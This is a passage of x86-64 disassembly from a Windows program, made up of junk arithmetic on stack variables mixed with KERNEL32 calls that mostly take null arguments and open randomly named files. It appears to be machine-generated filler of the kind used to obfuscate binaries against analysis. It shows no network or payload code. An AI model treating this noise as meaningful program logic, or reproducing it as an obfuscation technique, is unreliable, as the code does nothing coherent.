mov dword [rcx], eax
lea rdx, [rsp + 0x19718]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd4dc], eax
movzx eax, byte [rsp + 0x590]
mov byte [rsp + 0x7ff], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [0x1402bf600]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3264], ax
movzx eax, byte [rsp + 0x1c1]
mov byte [rsp + 0x800], al
movsx eax, word [rsp + 0x3114]
mov rcx, qword [0x1402bf728]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3760], ax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf08]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad664], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a18]
mov dword [rcx], eax
movzx eax, word [rsp + 0x37ec]
mov rcx, qword [rsp + 0x19ea0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2f14], ax
mov rax, qword [rsp + 0x19fa0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7cd], al
lea rdx, [rsp + 0x19718]
mov rcx, qword [rsp + 0x19f40]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd4e0], eax
mov eax, dword [rsp + 0xd398]
mov dword [rsp + 0xd4e4], eax
mov rax, qword [rsp + 0x1a0d0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0e4], eax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
mov dword [rsp + 0xd4e8], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd11c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19c00]
mov dword [rcx], eax
movzx eax, byte [0x1402acb3a]
mov rcx, qword [rsp + 0x19fb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a1], al
movzx eax, word [rsp + 0x2dd4]
mov word [0x1402bf5b8], ax
mov rax, qword [rsp + 0x19ef0]
mov rcx, qword [rsp + 0x1a0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9320], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c48]
mov qword [rsp + 0x1a0e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a0e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xce64], eax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov dword [rsp + 0xd4ec], eax
mov rax, qword [rsp + 0x198f0]
mov rcx, qword [rsp + 0x1a000]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x99ac], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2f0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19d50]
movzx eax, byte [rax]
mov byte [rsp + 0x801], al
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d8c], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x798]
and eax, ecx
mov byte [rsp + 0x306], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36fc]
imul eax, ecx
mov word [0x1402ad76c], ax
mov rax, qword [rsp + 0x19db8]
mov ecx, dword [rsp + 0xceb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a0b8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcdec], eax
mov rax, qword [rsp + 0x19e68]
mov rcx, qword [rsp + 0x1a0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x83ec], eax
movzx eax, word [0x1402bf6a4]
mov word [rsp + 0x382c], ax
movzx eax, byte [rsp + 0x7c9]
movzx ecx, byte [rsp + 0x7c0]
sub eax, ecx
mov byte [rsp + 0x7e7], al
lea rax, [rsp + 0xd37c]
mov qword [rsp + 0x1a0e8], rax
mov rax, qword [rsp + 0x19cb8]
mov ecx, dword [0x1402ad6e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9354], eax
mov rax, qword [rsp + 0x19c60]
mov rcx, qword [rsp + 0x19f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb958], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov dword [rsp + 0xd4f0], eax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf6e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402bf720], al
movzx eax, word [rsp + 0x344c]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3670], ax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov dword [rsp + 0xd4f4], eax
mov eax, dword [0x1402ad64c]
mov ecx, dword [rsp + 0xd0a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d94], eax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4bc], al
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3704]
or eax, ecx
mov word [rsp + 0x35b4], ax
mov rax, qword [0x1402bf668]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ec0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2964], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov byte [rsp + 0x802], al
mov rax, qword [rsp + 0x19a20]
mov rcx, qword [0x1402bf740]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xce7c], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19e80]
mov qword [rsp + 0x1a0f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a0f0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402ad770], eax
mov eax, dword [rsp + 0x9f50]
mov dword [rsp + 0xd4f8], eax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf70]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19b28]
mov dword [rcx], eax
mov eax, dword [rsp + 0xba54]
mov ecx, dword [rsp + 0xd428]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9148], eax
movzx eax, byte [rsp + 0x7da]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x44f], al
movzx eax, word [0x1402ad718]
movzx ecx, word [rsp + 0x36e8]
add eax, ecx
mov rcx, qword [rsp + 0x19dc8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xce0c], eax
mov eax, dword [rsp + 0xcee4]
mov dword [rsp + 0xd4fc], eax
mov rax, qword [rsp + 0x19d58]
mov ecx, dword [rsp + 0xa2a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x977c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xce44], eax
mov rax, qword [0x1402bf750]
mov rcx, qword [rsp + 0x198f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd1e0], eax
mov eax, dword [rsp + 0xd284]
mov ecx, dword [rsp + 0xd018]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf5f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19fb0]
movzx eax, byte [rax]
mov byte [rsp + 0x803], al
movzx eax, word [rsp + 0x3714]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x31a4], ax
mov rax, qword [0x1402bf5e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x198c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7df], al
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov dword [rsp + 0xd500], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [rsp + 0x19e08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xced4], eax
movzx eax, word [0x1402ad6ac]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3728], ax
movzx eax, byte [rsp + 0x580]
mov byte [rsp + 0x804], al
mov eax, dword [rsp + 0x7fc0]
mov rcx, qword [rsp + 0x19ef0]
mov qword [rsp + 0x1a0f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a0f8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad738], eax
mov rax, qword [rsp + 0x19850]
mov rcx, qword [rsp + 0x198a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd3b8], eax
mov rax, qword [rsp + 0x1a050]
mov ecx, dword [rsp + 0xcec0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xca38], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [0x1402bf5f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd468], eax
movzx eax, word [rsp + 0x3744]
movzx ecx, word [rsp + 0x35c0]
add eax, ecx
mov word [rsp + 0x344c], ax
movzx eax, byte [rsp + 0x7e1]
mov byte [rsp + 0x805], al
mov rax, qword [0x1402bf768]
mov ecx, dword [rsp + 0xd418]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd244], eax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov dword [rsp + 0xd504], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.p9NJfJY_bGsrLoH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a100], rax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9490], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov dword [0x1402bf5b4], eax
mov rax, qword [rsp + 0x19c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4fc], eax
movzx eax, word [rsp + 0x35a4]
mov word [rsp + 0x3830], ax
movsx eax, byte [rsp + 0x782]
mov rcx, qword [rsp + 0x19c88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7ac], al
movzx eax, word [rsp + 0x2964]
mov rcx, qword [rsp + 0x19f38]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x284c], ax
mov rax, qword [rsp + 0x19e38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19c70]
mov byte [rcx], al
mov rcx, qword [rsp + 0x1a100]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd218], eax
mov rax, qword [rsp + 0x19ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9354], eax
mov eax, dword [rsp + 0xd49c]
mov dword [rsp + 0xd508], eax
movzx eax, word [rsp + 0x35c0]
movzx ecx, word [rsp + 0x3634]
sar eax, cl
mov rcx, qword [rsp + 0x19c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7bb]
cdq
idiv ecx
mov byte [0x1402acbc2], al
mov eax, dword [rsp + 0xd460]
mov dword [rsp + 0xd50c], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd384]
shl eax, cl
mov dword [rsp + 0xd47c], eax
mov rax, qword [rsp + 0x19ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce34]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8068], eax
mov eax, dword [rsp + 0xb6f0]
mov ecx, dword [rsp + 0xd0bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd078], eax
movzx eax, word [rsp + 0x3678]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x367c], ax
movzx eax, byte [rsp + 0x7aa]
mov byte [rsp + 0x806], al
mov rax, qword [rsp + 0x19c00]
mov rcx, qword [0x1402bf610]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0e0], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov dword [rsp + 0xd510], eax
movsx eax, word [rsp + 0x3724]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402ad63c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0x19e30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7a0]
add eax, ecx
mov byte [rsp + 0x7f5], al
movzx eax, word [rsp + 0x36c8]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x360c], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcc], al
mov eax, dword [rsp + 0xbc38]
mov ecx, dword [rsp + 0xa7bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd28c], eax
mov eax, dword [rsp + 0xd064]
mov dword [rsp + 0xd514], eax
mov rax, qword [rsp + 0x19c10]
mov ecx, dword [rsp + 0xd310]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce20], eax
mov eax, dword [rsp + 0xd480]
mov ecx, dword [0x1402ad64c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce10], eax
lea rax, [rsp + 0xd318]
mov qword [rsp + 0x1a108], rax
movzx eax, word [rsp + 0x35f4]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3750], ax
movzx eax, byte [0x1402bf660]
movzx ecx, byte [rsp + 0x3a1]
sub eax, ecx
mov byte [0x1402acb8e], al
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov dword [rsp + 0xd518], eax
mov eax, dword [rsp + 0xd178]
movzx ecx, al
mov eax, dword [rsp + 0xce48]
sar eax, cl
mov dword [rsp + 0xd1f4], eax
mov eax, dword [rsp + 0xd3ac]
movzx ecx, al
mov eax, dword [rsp + 0xd38c]
shl eax, cl
mov dword [rsp + 0xcfc8], eax
mov rax, qword [rsp + 0x19af0]
mov rcx, qword [rsp + 0x19ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa668], eax
movzx eax, byte [0x1402bf690]
movzx ecx, byte [rsp + 0xaa]
or eax, ecx
mov byte [rsp + 0x580], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19840], rax
movzx eax, word [rsp + 0x3698]
mov word [rsp + 0x3834], ax
mov rax, qword [rsp + 0x19a98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19c88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x475], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.b0Rdyhe4jdWyMhLOLfof_tuGx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a110], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcf18], eax
lea rax, [0x1402bf630]
mov qword [rsp + 0x1a118], rax
mov eax, dword [rsp + 0xd308]
mov ecx, dword [rsp + 0xadd0]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad774], eax
mov rax, qword [rsp + 0x19e78]
mov ecx, dword [rsp + 0xcd1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce5c], eax
movzx eax, byte [rsp + 0x7ed]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x60a], al
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
mov word [rsp + 0x3838], ax
lea rdx, [rsp + 0x2c040]
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd2ec], eax
mov rax, qword [rsp + 0x19f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa628]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb958], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xd390]
mov ecx, dword [rsp + 0x83e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb7c], eax
mov rax, qword [rsp + 0x19e90]
mov rcx, qword [rsp + 0x19cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov ecx, dword [0x1402ad680]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91fc], eax
lea rax, [rsp + 0x7fa]
mov qword [rsp + 0x1a120], rax
movzx eax, word [rsp + 0x37a0]
mov word [0x1402bf5b0], ax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd39c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce1c], eax
mov rax, qword [rsp + 0x19b40]
mov eax, dword [rax]
mov dword [rsp + 0xd51c], eax
mov rax, qword [rsp + 0x19d98]
mov rcx, qword [rsp + 0x19f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbc10], eax
mov eax, dword [rsp + 0xb22c]
mov rcx, qword [rsp + 0x1a080]
mov qword [rsp + 0x1a128], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a128]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd4cc], eax
mov eax, dword [rsp + 0xcf10]
mov dword [rsp + 0xd520], eax
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3620]
or eax, ecx
mov word [rsp + 0x1838], ax
lea rcx, [rsp + 0x2d410]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd168], eax
mov edx, 0x66dccf
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd524], eax
mov rax, qword [0x1402bf5e0]
movzx eax, byte [rax]
mov byte [rsp + 0x807], al
movzx eax, word [rsp + 0x3644]
movzx ecx, word [rsp + 0x1c3c]
xor eax, ecx
mov word [rsp + 0x3628], ax
movzx eax, byte [rsp + 0x7c2]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402acb3b], al
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
mov ecx, dword [0x1402ad638]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cd4], eax
mov rax, qword [rsp + 0x19a90]
mov ecx, dword [rsp + 0xd1e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcea0], eax
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x360c]
sub eax, ecx
mov word [rsp + 0x3808], ax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
mov byte [rsp + 0x808], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xf092
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcf6c], eax
mov eax, dword [rsp + 0xceb4]
mov ecx, dword [rsp + 0xcf50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa24], eax
mov eax, dword [rsp + 0xce78]
mov dword [rsp + 0xd528], eax
mov rax, qword [0x1402bf648]
mov ecx, dword [rsp + 0x97d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xba70], eax
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd340]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd050], eax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
imul eax, eax, 0x5b
mov byte [0x1402acb7a], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3810]
sub eax, ecx
mov word [rsp + 0x1a94], ax
mov eax, dword [0x1402ad6b8]
mov ecx, dword [rsp + 0xcfdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd22c], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov dword [rsp + 0xd52c], eax
movsx eax, byte [rsp + 0x37b]
movsx ecx, byte [rsp + 0x7b1]
add eax, ecx
mov byte [rsp + 0x782], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19840], rax
mov rax, qword [rsp + 0x19dd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3724]
sub eax, ecx
mov rcx, qword [rsp + 0x19dd0]
mov word [rcx], ax
lea rcx, [rsp + 0x2af78]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov byte [rsp + 0x809], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19f38]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2104], ax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a0b8]
mov qword [rsp + 0x1a130], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a130]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x873c], eax
mov rax, qword [rsp + 0x1a098]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19ab0]
mov qword [rsp + 0x1a138], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a138]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad778], eax
mov rax, qword [0x1402bf5c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd014]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd51c], eax
mov rax, qword [rsp + 0x19ef0]
mov ecx, dword [rsp + 0xcdd4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd39c], eax
lea rax, [rsp + 0xd210]
mov qword [rsp + 0x1a140], rax
movzx eax, word [rsp + 0x3814]
mov rcx, qword [0x1402bf668]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x368c], ax
movzx eax, byte [rsp + 0x4c2]
mov byte [rsp + 0x80a], al
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x19b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf90], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1a148], rax
lea rax, [rsp + 0xcce4]
mov qword [rsp + 0x1a150], rax
mov rax, qword [rsp + 0x19d98]
mov ecx, dword [rsp + 0xab2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd190], eax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0xb630]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad77c], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movzx eax, byte [rsp + 0x7c7]
movzx ecx, byte [0x1402acb3a]
add eax, ecx
mov byte [rsp + 0x43a], al
movzx eax, word [rsp + 0x35a8]
mov word [rsp + 0x383c], ax
movsx eax, word [rsp + 0x3774]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3830], ax
lea rax, [rsp + 0x7ad]
mov qword [rsp + 0x1a158], rax
mov rax, qword [rsp + 0x1a0b8]
mov rcx, qword [rsp + 0x19db8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd064], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa368], eax
movzx eax, byte [0x1402acb4f]
mov rcx, qword [rsp + 0x19fa0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x716], al
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3818]
sar eax, cl
mov word [rsp + 0x18d8], ax
mov eax, dword [rsp + 0xab6c]
mov ecx, dword [rsp + 0xd334]
xor ecx, eax
mov eax, ecx
mov dword [0x1402bf780], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xd530], eax
mov eax, dword [rsp + 0xd130]
mov ecx, dword [rsp + 0xd09c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd094], eax
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd288]
shl eax, cl
mov dword [rsp + 0xc7e0], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov word [rsp + 0x3840], ax
movzx eax, byte [rsp + 0x803]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x17a], al
mov eax, dword [rsp + 0xcdcc]
mov dword [rsp + 0xd534], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov ecx, dword [0x1402ad64c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4c8], eax
mov eax, dword [rsp + 0xd02c]
mov ecx, dword [rsp + 0xd0e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa198], eax
lea rax, [rsp + 0xd0f0]
mov qword [0x1402bf5a8], rax
mov eax, dword [rsp + 0xd1bc]
mov ecx, dword [rsp + 0xd144]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8458], eax
mov rax, qword [rsp + 0x1a158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e4]
add eax, ecx
mov byte [rsp + 0x62d], al
movzx eax, word [0x1402bf630]
mov word [rsp + 0x3844], ax
movzx eax, word [rsp + 0x2338]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x37c4], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rdx, [rsp + 0x2c120]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xce8c], eax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
mov byte [rsp + 0x80b], al
mov rax, qword [rsp + 0x19f00]
mov rcx, qword [rsp + 0x19bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd468], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd1c0], eax
mov rax, qword [rsp + 0x19938]
mov ecx, dword [rsp + 0xb3c4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91f4], eax
movzx eax, word [rsp + 0x1c3c]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x23d4], ax
mov rax, qword [rsp + 0x1a0a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
imul eax, ecx
mov byte [0x1402acb47], al
mov eax, dword [rsp + 0xc7e0]
